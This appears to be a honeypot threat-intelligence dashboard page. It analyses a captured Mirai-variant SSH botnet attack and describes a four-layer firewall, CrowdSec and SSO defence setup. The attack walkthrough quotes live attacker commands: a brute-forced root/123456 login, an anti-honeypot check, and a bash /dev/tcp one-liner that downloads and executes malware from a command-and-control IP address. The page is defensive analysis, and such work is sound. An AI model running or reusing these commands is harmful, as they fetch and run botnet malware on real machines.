🍯 Live Honeypot Intelligence — Shuffle-On Security

📊 Daily Attack Volume Live

🎯 Top Attackers by Sessions Live

🔑 Credential Analysis Live

💀 Post-Exploitation Commands Live

🔬 Featured Attack — Mirai-Variant Botnet Recruitment

April 15, 2026 · 15:14 UTC 43.99.20.50 → Alibaba Cloud, Hong Kong SSH-2.0-makiko (Rust)

1

Brute-Force Login

root / 123456

Used makiko Rust SSH library — an automated botnet scanner, not a human.

2

Environment Fingerprint

cat /bin/echo

Anti-honeypot check. Real servers return binary data; some honeypots return text or errors.

3

Malware Download & Execute

nohup bash -c "exec 6<>/dev/tcp/47.180.61.210/60122 && \ echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/dG68qeeZO7 && \ chmod +x /tmp/dG68qeeZO7 && \ /tmp/dG68qeeZO7 7BRdPPogwDDWJ+UlWwWdlw..." &

Downloads malware from C2 server 47.180.61.210:60122 (compromised residential ISP in Thousand Oaks, California). Uses bash /dev/tcp builtin — bypasses wget/curl detection. Executes with encrypted base64 C2 config.

4

Binary Payload Delivery

head -c 1458464 > /tmp/Ji3aa1eH1y # Followed by raw binary data (UPX-packed ELF: "Qtd#UPX!" magic bytes)

1.4 MB UPX-packed Linux ELF binary. IoT/DDoS botnet agent — typical Mirai variant behavior.

🦠 Captured Malware Live

🕐 Attack Distribution by Hour (UTC) Live

🛡️ Defense Response — How We Handle This Live

🏗️ How It Works — Architecture

Security Architecture — 4 Layers of Defense


    ┌─────────────────────────────────────────────────────────────────┐
    │                    INTERNET (The Wild West)                     │
    └──────────────────────────┬──────────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────────┐
    │  LAYER 1: MikroTik CCR1009 Hardware Firewall                   │
    │  ├── RAW prerouting: IPs dropped pre-conntrack                 │
    │  ├── Filter: 67 rules, SYN flood protection, port scan detect  │
    │  ├── CrowdSec bouncer: real-time ban sync via API              │
    │  └── NAT: SSH port → Cowrie honeypot (port 2222)              │
    └──────────────┬──────────────────────────┬──────────────────────┘
                   │                          │
          Real Services                Fake SSH (Honeypot)
                   │                          │
    ┌──────────────▼──────────────┐   ┌────────▼─────────────────────┐
    │  LAYER 2: Traefik Proxy     │   │  🍯 Cowrie SSH Honeypot       │
    │  ├── TLS termination        │   │  ├── Fake filesystem         │
    │  ├── Rate limiting          │   │  ├── Credential capture      │
    │  ├── Security headers       │   │  ├── Command logging         │
    │  └── Request logging → CS   │   │  ├── Malware capture         │
    └──────────────┬──────────────┘   │  └── Telegram alerts         │
                   │                  └──────────────────────────────┘
    ┌──────────────▼──────────────┐
    │  LAYER 3: CrowdSec Engine   │
    │  ├── Behavioral analysis    │
    │  ├── Community blocklist    │
    │  ├── Threat intel feeds     │
    │  └── Auto-ban → MikroTik   │
    └──────────────┬──────────────┘
                   │
    ┌──────────────▼──────────────┐
    │  LAYER 4: Authelia SSO      │
    │  ├── Multi-factor auth      │
    │  ├── WebAuthn/FIDO2 keys    │
    │  ├── Per-service ACLs       │
    │  └── Session management    │
    └─────────────────────────────┘

💡 The Key Insight Live

In — days, — unique attackers from around the world attempted — logins with — unique passwords. They deployed — different malware binaries and ran — post-exploitation commands. All of this was captured, analyzed, and neutralized — automatically.

The honeypot sees what gets past the firewall's SSH redirect. Meanwhile, CrowdSec handles HTTP attacks, and MikroTik drops — known-bad IPs at the hardware level before they even reach the server.

Every layer works independently. If one fails, the others still protect. Nothing reaches the real services.

🍯 SSH Honeypot Intelligence Report

💡 The Key Insight Live